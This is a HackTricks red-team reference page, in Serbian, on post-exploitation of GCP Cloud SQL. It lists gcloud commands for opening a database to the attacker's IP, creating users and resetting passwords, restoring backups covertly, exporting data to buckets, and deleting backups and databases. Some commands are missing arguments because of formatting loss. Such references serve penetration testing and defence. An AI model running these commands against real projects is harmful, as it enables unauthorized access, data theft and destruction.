GCP - Cloud SQL Post Exploitation

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Cloud SQL

Za više informacija o Cloud SQL pogledajte:

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Da biste se povezali na baze podataka, potrebno je samo imati pristup portu baze podataka i znati korisničko ime i lozinku; nema posebnih IAM zahteva. Dakle, lak način da dobijete pristup, pod pretpostavkom da baza ima javnu IP adresu, jeste da izmenite dozvoljene mreže i dozvolite svojoj IP adresi pristup.

Dozvolite svoju IP adresu i povežite se na bazu ```bash # Use --assign-ip to make the database get a public IPv4 gcloud sql instances patch $INSTANCE_NAME \ --authorized-networks "$(curl ifconfig.me)" \ --assign-ip \ --quiet

mysql -h <ip_db> # If mysql

With cloudsql.instances.get you can use gcloud directly

gcloud sql connect mysql –user=root –quiet

</details>

Moguće je takođe koristiti **`--no-backup`** da **poremete rezervne kopije** baze podataka.

Pošto su ovo zahtevi, nisam potpuno siguran čemu služe dozvole **`cloudsql.instances.connect`** i **`cloudsql.instances.login`**. Ako znaš, pošalji PR!

### `cloudsql.users.list`

Dobijte **listu svih korisnika** baze podataka:

<details>

<summary>Prikaži korisnike baze podataka</summary>
```bash
gcloud sql users list --instance <intance-name>

cloudsql.users.create

Ovo dopuštenje omogućava kreiranje novog korisnika unutar baze podataka:

Kreiranje korisnika baze podataka ```bash gcloud sql users create --instance --password ```

cloudsql.users.update

Ova dozvola omogućava ažuriranje korisnika u bazi podataka. Na primer, možete promeniti njegovu lozinku:

Promena lozinke korisnika ```bash gcloud sql users set-password --instance --password ```

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Bekapovi mogu sadržati stare osetljive informacije, zato je korisno proveriti ih.
Vraćanje bekapa unutar baze podataka:

Vraćanje bekapa baze podataka ```bash gcloud sql backups restore --restore-instance ```

Da biste to uradili na prikriveniji način, preporučuje se kreiranje nove SQL instance i oporavak podataka tamo umesto u trenutno pokrenutim bazama podataka.

cloudsql.backupRuns.delete

Ova dozvola omogućava brisanje rezervnih kopija:

Obriši rezervnu kopiju ```bash gcloud sql backups delete --instance ```

cloudsql.instances.export, storage.objects.create

Izvezi bazu podataka u Cloud Storage Bucket tako da joj možete pristupiti odatle:

Izvezi bazu u bucket ```bash # Export sql format, it could also be csv and bak gcloud sql export sql --database ```

cloudsql.instances.import, storage.objects.get

Uvezi bazu podataka (prepiši) iz Cloud Storage Bucket:

Uvezi bazu podataka iz bucket-a ```bash # Import format SQL, you could also import formats bak and csv gcloud sql import sql ```

cloudsql.databases.delete

Obriši bazu podataka iz db instance:

Obriši bazu podataka ```bash gcloud sql databases delete --instance ```

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks